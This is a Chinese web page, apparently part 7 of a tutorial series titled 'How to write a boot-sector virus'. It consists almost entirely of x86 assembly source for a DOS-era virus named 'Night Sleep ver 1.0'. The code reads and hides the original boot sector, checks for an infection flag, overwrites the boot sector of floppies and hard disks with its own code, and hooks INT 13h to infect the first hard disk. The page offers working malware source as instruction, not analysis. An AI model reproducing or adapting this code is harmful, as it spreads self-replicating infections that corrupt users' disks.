怎样编写引导区病毒[7]

[入库:2005年9月19日] [更新:2007年3月24日]

本文简介:

    push cs
    pop  es
    push cs
    pop  ds   ;使ds=es=cs
    mov  bx,OFF OldBootSpace
    mov  ax,0201h
    mov  cx,0001h
    mov  dh,00h
    call @@CallInt13 ;读原引导扇区
    jc   short @@OptOver
    mov  di,bx
    cmp  ds:[di.VirusFlag],'V' ;判断是否已经有病毒?
    jz   short @@OptOver  ;若有,则退出
    cmp  dl,00h
    jz   short @@IsOptFlopyDisk
@@IsOptHardDisk:
    mov  cx,0002h  ;若是硬盘,保存在0面0道2扇区       
    jmp  short @@SaveOldBoot
@@IsOptFlopyDisk:
    mov  cx,79*100h+17 ;若是软盘,保存在0面79道17扇区       
@@SaveOldBoot:   
    mov  ax,0301h  
    mov  dh,0h
    call @@CallInt13  ;保存原引导扇区
    jc   short @@OptOver
    mov  si,OFF @@Start
    cld
    movsw
    movsb   ;修改原扇区首指令(Jmp near 3字节)
    mov  di,OFF @@Begin+200h
    mov  si,OFF @@Begin
    mov  cx,OFF @@End-OFF @@Begin
    cld
    rep  movsb     ;修改原引导扇区指令cx字节
    mov  ax,0301h
    mov  cx,0001h
    mov  dh,00h
    call @@CallInt13  ;写回已经被修改了的引导程序  
@@OptOver:   ;退出传染
    pop  es
    pop  ds  ;恢复段址与通用寄存器
    popa
    ret      ;以下是病毒要显示的信息,与病毒版本信息
    VirusMsg  db 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0
              db 'Night Sleep ver 1.0,by whg 2001.5.5',0      
@@End:   
    org       1feh
    Flags     dw  0aa55h ;引导扇区有效标志
    OldBootSpace  db 210h dup(?) ;定义缓冲区
@@Install:
    xor  ax,ax
    mov  ds,ax
    cli
    mov  ax,ds:[13h*4]
    mov  cs:[OldInt13Off],ax
    mov  ax,ds:[13h*4+2]
    mov  cs:[OldInt13Seg],ax
    mov  dl,80h
    call @@OptDisk
    mov  ax,4c00h
    int  21h

本文关键:怎样编写引导区病毒
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top